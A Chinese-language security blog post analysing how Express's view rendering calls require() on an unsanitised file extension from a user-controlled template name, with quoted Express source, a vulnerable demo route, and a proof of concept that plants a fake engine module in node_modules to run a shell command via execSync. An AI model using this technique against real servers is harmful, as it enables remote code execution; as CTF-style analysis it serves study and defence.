谈Express engine处理引擎的一个trick

Background

在关注ejs解析的时候发现express对render的处理有点意思,所以简单分析了下

0x01 流程链简析

当用express的解析模板引擎的时候,即使默认使用了ejs,但是也会有引擎修改的工程,大概调用链如下

render()->View()->tryRender->this.engine()

0x02 漏洞详情分析

在render函数代码里

app.render = function render(name, options, callback) {
  var cache = this.cache;
  var done = callback;
  var engines = this.engines;
  var opts = options;
  var renderOptions = {};
  var view;

  // support callback function as second arg
  if (typeof options === 'function') {
    done = options;
    opts = {};
  }

  // merge app.locals
  merge(renderOptions, this.locals);

  // merge options._locals
  if (opts._locals) {
    merge(renderOptions, opts._locals);
  }

  // merge options
  merge(renderOptions, opts);

  // set .cache unless explicitly provided
  if (renderOptions.cache == null) {
    renderOptions.cache = this.enabled('view cache');
  }

  // primed cache
  if (renderOptions.cache) {
    view = cache[name];
  }

  // view
  if (!view) {
    var View = this.get('view');

    view = new View(name, {
      defaultEngine: this.get('view engine'),
      root: this.get('views'),
      engines: engines
    });

    if (!view.path) {
      var dirs = Array.isArray(view.root) && view.root.length > 1
        ? 'directories "' + view.root.slice(0, -1).join('", "') + '" or "' + view.root[view.root.length - 1] + '"'
        : 'directory "' + view.root + '"'
      var err = new Error('Failed to lookup view "' + name + '" in views ' + dirs);
      err.view = view;
      return done(err);
    }

    // prime the cache
    if (renderOptions.cache) {
      cache[name] = view;
    }
  }

  // render
  tryRender(view, renderOptions, done);
};

/**
 * Listen for connections.
 *
 * A node `http.Server` is returned, with this
 * application (which is a `Function`) as its
 * callback. If you wish to create both an HTTP
 * and HTTPS server you may do so with the "http"
 * and "https" modules as shown here:
 *
 *    var http = require('http')
 *      , https = require('https')
 *      , express = require('express')
 *      , app = express();
 *
 *    http.createServer(app).listen(80);
 *    https.createServer({ ... }, app).listen(443);
 *
 * @return {http.Server}
 * @public
 */

app.listen = function listen() {
  var server = http.createServer(this);
  return server.listen.apply(server, arguments);
};

/**
 * Log error using console.error.
 *
 * @param {Error} err
 * @private
 */

function logerror(err) {
  /* istanbul ignore next */
  if (this.get('env') !== 'test') console.error(err.stack || err.toString());
}

/**
 * Try rendering a view.
 * @private
 */

function tryRender(view, options, callback) {
  try {
    view.render(options, callback);
  } catch (err) {
    callback(err);
  }

关键代码在这一段

if (!view) {
    var View = this.get('view');

    view = new View(name, {
      defaultEngine: this.get('view engine'),
      root: this.get('views'),
      engines: engines
    });

view在没cache的情况下view变量默认是空的,就会在此处调用一个View(),而且当这个函数结束的时候,他会继续走一个tryRender函数

而在View函数中

function View(name, options) {
  var opts = options || {};

  this.defaultEngine = opts.defaultEngine;
  this.ext = extname(name);
  this.name = name;
  this.root = opts.root;

  if (!this.ext && !this.defaultEngine) {
    throw new Error('No default engine was specified and no extension was provided.');
  }

  var fileName = name;

  if (!this.ext) {
    // get extension from default engine name
    this.ext = this.defaultEngine[0] !== '.'
      ? '.' + this.defaultEngine
      : this.defaultEngine;

    fileName += this.ext;
  }
console.log(this.ext)//debug data
  if (!opts.engines[this.ext]) {
    // load engine
    var mod = this.ext.slice(1)
    debug('require "%s"', mod)

    // default engine export
    var fn = require(mod).__express

    if (typeof fn !== 'function') {
      throw new Error('Module "' + mod + '" does not provide a view engine.')
    }

    opts.engines[this.ext] = fn
  }

  // store loaded engine
  this.engine = opts.engines[this.ext];

  // lookup path
  this.path = this.lookup(fileName);
}

可以看到 opts.engines[this.ext] 如果不为空 他会取this.ext的值然后来调用require函数

有意思的地方在于

var fn = require(mod).__express

    if (typeof fn !== 'function') {
      throw new Error('Module "' + mod + '" does not provide a view engine.')
    }

    opts.engines[this.ext] = fn

在这里函数 express 被导入然后定义在opts.engines[this.ext] 也就是说现在engine里有`express`函数

了解了下这个函数,那其实只要可控我们就能rce了

这里主要就是我们要看看他是如何取到这个ext的

我测试的时候发型现他对后缀没有处理

> extname('1.ttt')
'.ttt'

继续往下走,当他继续走tryRender 他会经过view.render(options, callback)

然后这个this.engine函数就可以被执行了

0x03 漏洞利用

其实早在很多CTF中,我就关注过这个引擎解析,2021的LineCTF里提到

a.ejs.b.c.hbs 会require hbs进来 也就是说如果我们在views里面有其他类型的文件 比如xxx.ttt 他经过render就会执行代码,但其实这个还有另一种利用方法

我们可以写一个测试代码,大致如下

app.set('view engine', 'ejs');
app.get('/', (req,res) => {
    const page = req.query.filename
    res.render(page);
})

当对filename传参为不附加后缀的。他会默认使用我们的ejs解析,也就是说

127.0.0.1/?filename=1

127.0.0.1/?filename=1.ejs是等价的

当我们键入一个自定义后缀123.ttt时候,会像前文提到的这样处理ttt

var mod = this.ext.slice(1)
debug('require "%s"', mod)

// default engine export
var fn = require(mod).__express

如果我们有一个文件上传位点可控,能把文件夹传到node_modules下,其实就可以进行__express函数的使用了

首先我在node_modules下建立一个ttt文件夹,把文件夹里面添加一个index.js内容如下

exports.__express = function() {
    console.log(require('child_process').execSync("id").toString());
}

然后键入任意文件名,后缀为ttt即可调用

当我们访问127.0.0.1/?filename=1.ttt时候进行debug会发现

他的engines内容是我们键入的代码

而对照虽然default是ejs,但我们还是在engine里进行替换了我们要执行的函数

0x04 总结

虽然在较高版本,这个缺陷已经被修复了,而且修复方式有很多种,最好的就是检测后缀,但这个思路是比较有趣的,而且很有可能会被出在一些ctf比赛上

点击收藏 | 1 关注 | 1 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖